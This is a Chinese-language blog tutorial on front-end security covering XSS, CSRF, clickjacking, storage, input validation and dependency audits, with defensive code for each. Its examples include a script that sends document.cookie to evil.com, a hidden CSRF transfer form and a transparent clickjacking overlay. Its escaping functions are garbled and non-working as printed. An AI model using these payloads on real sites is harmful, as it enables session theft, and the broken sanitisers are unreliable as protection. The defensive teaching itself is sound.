前端安全防护指南守护你的应用安全大家好我是蔓蔓。在大厂时我参与过多次安全审计和加固工作。安全是一个容易被忽略但又至关重要的方面。今天我来和大家分享前端安全防护的完整方案。XSS攻击防护原理// 危险示例 const userInput scriptalert(XSS)/script; document.getElementById(content).innerHTML userInput; // 直接插入HTML // 攻击者可以注入恶意脚本 const maliciousInput script // 窃取Cookie fetch(https://evil.com/steal?cookie document.cookie); /script ;防护措施// 1. 转义特殊字符 function escapeHtml(str) { if (typeof str ! string) return str; return str .replace(//g, amp;) .replace(//g, lt;) .replace(//g, gt;) .replace(//g, quot;) .replace(//g, #039;); } // 2. 使用textContent代替innerHTML document.getElementById(content).textContent userInput; // 3. 设置Cookie HttpOnly // Set-Cookie: sessionIdxxxxx; HttpOnly; Secure // 4. 内容安全策略(CSP) const meta document.createElement(meta); meta.httpEquiv Content-Security-Policy; meta.content default-src self; script-src self unsafe-inline https://trusted-cdn.com; style-src self unsafe-inline; img-src self data: https:; object-src none; base-uri self; ; document.head.appendChild(meta);CSRF攻击防护原理!-- 攻击者网站上的恶意表单 -- form actionhttps://yourbank.com/transfer methodPOST input typehidden nameto valueattacker input typehidden nameamount value1000000 button typesubmit点击领取优惠/button /form !-- 用户点击后会自动发送请求如果用户已登录Cookie会被自动带上 --防护措施// 1. 使用CSRF Token async function fetchWithCsrf(url, options {}) { const csrfToken document.querySelector(meta[namecsrf-token])?.content; return fetch(url, { ...options, headers: { ...options.headers, X-CSRF-Token: csrfToken }, credentials: same-origin }); } // 2. 使用SameSite Cookie属性 // Set-Cookie: sessionIdxxxxx; SameSiteLax; HttpOnly // 3. 检查Referer和Origin头 // 服务端验证请求来源点击劫持防护原理!-- 攻击者网站 -- style .malicious { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; z-index: 1000; } /style !-- 在你的网站上面覆盖一个透明层诱导用户点击 -- iframe srchttps://your-site.com classmalicious/iframe button styleposition: absolute; top: 100px; left: 100px;点击领取/button防护措施!-- 设置X-Frame-Options -- !-- 响应头: X-Frame-Options: DENY -- !-- 响应头: X-Frame-Options: SAMEORIGIN -- !-- 使用Content-Security-Policy -- meta http-equivContent-Security-Policy contentframe-ancestors self !-- JavaScript检测 -- script if (self ! top) { top.location.href self.location.href; } /script前端存储安全// 1. 不要在localStorage存储敏感信息 // ❌ 错误 localStorage.setItem(password, secret123); localStorage.setItem(creditCard, 4111111111111111); // ✅ 正确 // 使用HttpOnly Cookie存储会话信息 // 2. 敏感数据加密存储 import CryptoJS from crypto-js; function encrypt(data, key) { return CryptoJS.AES.encrypt(JSON.stringify(data), key).toString(); } function decrypt(ciphertext, key) { const bytes CryptoJS.AES.decrypt(ciphertext, key); return JSON.parse(bytes.toString(CryptoJS.enc.Utf8)); } // 3. 清除敏感数据 function clearSensitiveData() { sessionStorage.clear(); // 不要清除localStorage因为可能有用户偏好设置 } // 4. 使用安全随机数 const secureRandom window.crypto.getRandomValues(new Uint32Array(1))[0];输入验证// 1. 客户端验证 const emailRegex /^[^\s][^\s]\.[^\s]$/; function validateEmail(email) { return emailRegex.test(email); } function validateUrl(url) { try { new URL(url); return url.startsWith(http://) || url.startsWith(https://); } catch { return false; } } // 2. 使用DOMPurify处理HTML import DOMPurify from dompurify; function sanitizeHtml(html) { return DOMPurify.sanitize(html, { ALLOWED_TAGS: [p, br, strong, em, a], ALLOWED_ATTR: [href, title], FORBID_TAGS: [script, style, iframe], FORBID_ATTR: [onerror, onload, onclick] }); } // 3. 防止注入攻击 function escapeSql(str) { // 实际上应该使用参数化查询不要自己拼接SQL return str.replace(//g, ); }依赖安全// 1. 定期检查依赖漏洞 // npm audit // yarn audit // 2. 使用npm audit fix自动修复 // npm audit fix // 3. 使用锁文件 // package-lock.json // yarn.lock // 4. 使用npm ci代替npm install // 确保安装的是锁文件中指定的版本 // 5. 使用Snyk等工具监控依赖安全总结前端安全是一个持续的过程需要从多个层面进行防护。XSS、CSRF、点击劫持等都是常见的攻击方式掌握相应的防护措施能让你的应用更加安全。记住安全永远是第一位的。技术应当有温度安全防护是对用户最好的负责。